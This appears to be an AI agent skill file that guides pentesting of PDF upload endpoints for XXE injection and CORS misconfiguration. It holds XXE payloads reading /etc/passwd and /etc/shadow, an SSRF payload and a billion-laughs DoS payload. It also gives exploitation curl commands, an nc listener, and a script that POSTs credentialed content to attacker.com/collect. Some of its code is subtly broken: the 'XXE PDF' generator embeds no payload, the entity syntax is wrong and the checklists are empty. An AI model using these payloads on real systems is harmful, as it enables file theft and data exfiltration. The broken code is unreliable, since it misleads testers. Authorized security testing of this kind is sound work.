| name | pdf-upload-xxe-cors-bypass |
| description | How to test PDF upload endpoints for XXE (XML External Entity) injection and CORS bypass vulnerabilities. Use this skill whenever you're pentesting file upload functionality, especially PDF uploads, or when investigating XXE injection vectors through file parsing. Make sure to use this skill when the user mentions PDF uploads, file upload vulnerabilities, XXE injection, CORS misconfigurations, or any file parsing security testing. |
PDF Upload - XXE and CORS Bypass Testing
This skill helps you identify and exploit XXE (XML External Entity) injection vulnerabilities and CORS bypass issues in PDF upload endpoints.
Understanding the Vulnerabilities
XXE in PDF Uploads
PDF files can contain XML-based content (especially in newer PDF versions). When a server parses uploaded PDFs without proper validation, it may process embedded XML entities, leading to:
- Local file disclosure - Reading files from the server filesystem
- SSRF - Making requests to internal services
- RCE - In some cases, remote code execution
- DoS - Billion laughs attack via entity expansion
CORS Bypass in PDF Uploads
CORS (Cross-Origin Resource Sharing) misconfigurations can allow:
- Cross-origin PDF access - Reading PDFs from other domains
- Credential theft - Accessing authenticated PDF content
- Data exfiltration - Extracting sensitive information from PDFs
Testing Methodology
Step 1: Identify PDF Upload Endpoints
Look for endpoints that accept PDF files:
grep -r "upload" /path/to/app/
grep -r "\.pdf" /path/to/app/
curl -I https://target.com/upload | grep -i "content-type"
Step 2: Test for XXE Injection
Create a Malicious PDF with XXE Payload
PDF files can embed XML content. Create a test PDF with embedded XXE:
import fitz
def create_xxe_pdf(output_path):
doc = fitz.open()
page = doc.new_page()
text = "Test PDF for XXE"
page.insert_text((72, 72), text)
doc.save(output_path)
doc.close()
print(f"Created: {output_path}")
if __name__ == "__main__":
create_xxe_pdf("xxe_test.pdf")
XXE Payloads to Test
Basic XXE Payload:
<!ENTITY xxe SYSTEM "file:///etc/passwd">%xxe;
File Read Payload:
<!ENTITY xxe SYSTEM "file:///etc/shadow">%xxe;
SSRF Payload:
<!ENTITY xxe SYSTEM "http://internal-service:8080/admin">%xxe;
Billion Laughs (DoS):
<!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
<!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
<!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
<!ENTITY e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
Step 3: Test CORS Configuration
Check CORS Headers
curl -I -H "Origin: https://evil.com" https://target.com/api/pdf/upload
curl -I -H "Origin: *" https://target.com/api/pdf/upload
curl -I -H "Origin: https://attacker.com" https://target.com/api/pdf/upload
Common CORS Misconfigurations
| Header | Vulnerable Value | Risk |
|---|
Access-Control-Allow-Origin | * | High - allows any origin |
Access-Control-Allow-Origin | Reflected origin | Medium - reflects attacker's origin |
Access-Control-Allow-Credentials | true with * | Critical - allows credentials with any origin |
Access-Control-Allow-Methods | * | Medium - allows all HTTP methods |
Step 4: Exploitation Techniques
XXE Exploitation
-
File Disclosure:
curl -X POST https://target.com/upload \
-F "file=@malicious.pdf" \
-v | grep -i "root:"
-
SSRF:
curl -X POST https://target.com/upload \
-F "file=@ssrf-pdf.pdf"
-
Out-of-Band Data Exfiltration:
nc -lvnp 4444
curl -X POST https://target.com/upload \
-F "file=@ooe-pdf.pdf"
CORS Bypass Exploitation
-
Cross-Origin PDF Access:
<script>
fetch('https://target.com/api/pdf/protected.pdf', {
method: 'GET',
mode: 'cors',
credentials: 'include'
})
.then(response => response.text())
.then(data => {
fetch('https://attacker.com/collect', {
method: 'POST',
body: data
});
});
</script>
-
Credential Theft:
fetch('https://target.com/api/pdf/user-data.pdf', {
credentials: 'include'
});
Step 5: Verification and Reporting
XXE Verification Checklist
CORS Verification Checklist
Common Tools
PDF Manipulation
pip install pymupdf
python scripts/create-xxe-pdf.py
pdfinfo target.pdf
CORS Testing
curl -I -H "Origin: https://evil.com" https://target.com/api/pdf
Automated Scanning
nuclei -u https://target.com/upload -t xxe.yaml
nuclei -u https://target.com/api/pdf -t cors.yaml
Mitigation Recommendations
For XXE
- Disable XML entity processing in PDF parsers
- Validate file content - ensure uploaded files are actually PDFs
- Use allowlists for permitted file types
- Sanitize input before processing
- Run parsers in sandboxed environments
For CORS
- Set specific origins instead of
*
- Don't reflect origin in response headers
- Disable credentials when using wildcard origin
- Validate preflight requests
- Use SameSite cookies for additional protection
References
Example Workflow
python scripts/create-xxe-pdf.py
curl -X POST https://target.com/upload \
-F "file=@xxe_test.pdf" \
-v
curl -I -H "Origin: https://evil.com" \
https://target.com/api/pdf/upload
Important Notes
- Always get authorization before testing file upload vulnerabilities
- Test in isolated environments to avoid impacting production
- Document all findings with evidence and reproduction steps
- Follow responsible disclosure when reporting vulnerabilities
- Consider business impact when prioritizing remediation